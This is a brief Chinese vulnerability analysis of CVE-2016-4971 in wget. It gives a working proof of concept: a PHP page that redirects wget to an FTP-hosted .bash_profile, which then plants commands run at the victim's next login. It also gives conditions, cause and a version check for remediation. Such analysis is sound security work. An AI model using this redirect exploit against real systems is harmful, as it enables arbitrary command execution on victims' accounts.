CVE-2016-4971 wget重定向漏洞分析

漏洞利用条件:

  1. 在用户目录下执行wget指令;
  2. 用户目录下没有.bash_profile;
  3. 用户退出系统再次进入;

//root用户.bash_profile在 home目录下,其他用户的.bash_profile在home下的用户目录

1.~/.bash_profile: 每个用户都可使用该文件输入专用于自己使用的shell信息,当用户登录时,该文件仅仅执行一次。默认情况下,设置一些环境变量,执行用户的.bashrc文件;
2.~/.bashrc: 该文件包含专用于你的bash shell的bash信息,当登录时以及每次打开新的shell时,该该文件被读取;
3.~/.bash_logout: 当每次退出系统(退出bash shell)时,执行该文件. 另外,/etc/profile中设定的变量(全局)的可以作用于任何用户,而~/.bashrc等中设定的变量(局部)只能继承;

分析过程:

.bash_profile 文件内容 : echo mkdir hacker > .bash_profile
301.php 文件内容:

<?
//header("location: ftp://192.168.119.1/.bash_profile");
header("location: ftp://10.1.5.14/.bash_profile");
//header("location: http://192.168.119.1/phproot/.bash_profile");
exit;
?>

http://192.168.119.1/phproot/301.php 重定向到 ftp://192.168.119.1/.bash_profile
Wget http://192.168.119.1/phproot/301.php
reboot 重启

漏洞成因:
漏洞主要是因为wget下载URL在重定向后未做验证;
导致下载了?用户配置文件.bash_profile,这个文件可以任意执行系统命令
危害:任意命令执行,反弹shell,植入rootkit病毒等

漏洞检查和修复:
wget –version? 检查 wget 版本,小于1.18都存在问题。
#wget重定向到http和ftp协议的区别:

重定向到http 是下载自身文件名 + 重定向内容
重定向到ftp 是下载重定向文件名 + 重定向内容